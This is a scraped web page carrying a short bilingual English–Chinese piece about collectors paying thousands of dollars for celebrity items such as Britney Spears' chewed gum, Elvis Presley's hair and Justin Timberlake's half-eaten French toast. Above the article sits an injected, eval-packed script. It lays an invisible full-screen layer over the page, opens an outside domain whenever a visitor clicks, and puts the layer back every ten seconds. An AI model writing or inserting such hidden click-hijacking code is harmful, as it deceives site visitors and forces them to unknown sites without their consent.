<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>
Fancy a used tissue, half-eaten French toast or ABC (already been chewed) gum? Well, somebody did.
While some of us are merely guilty of perusing tabloids in the supermarket checkout aisle, others take their celebrity obsessions to a whole new level.
We certainly would never like to be in the same room as the person who bought Britney Spears' used gum for $14,000, a handful of Elvis Presley's hair for $115,000 or Justin Timberlake's half-eaten French toast for north of $3,000.
有人中意用过的卫生纸吗?有人喜欢吃剩的法国大餐吗?还真有!
有些人可能仅仅因为在超市结账时瞄了几眼旁边的八卦小报,就感到羞愧难当;有些人则把明星的私人物品哄抬到了更高的价格。
我们肯定不会与这些人为伍吧,他们花一万四千美元买了布兰妮嚼过的口香糖,花了十一万五千美元买了一撮“猫王”的头发,还有人花了三千美元买了歌手贾斯汀吃剩的法国大餐……
![]() |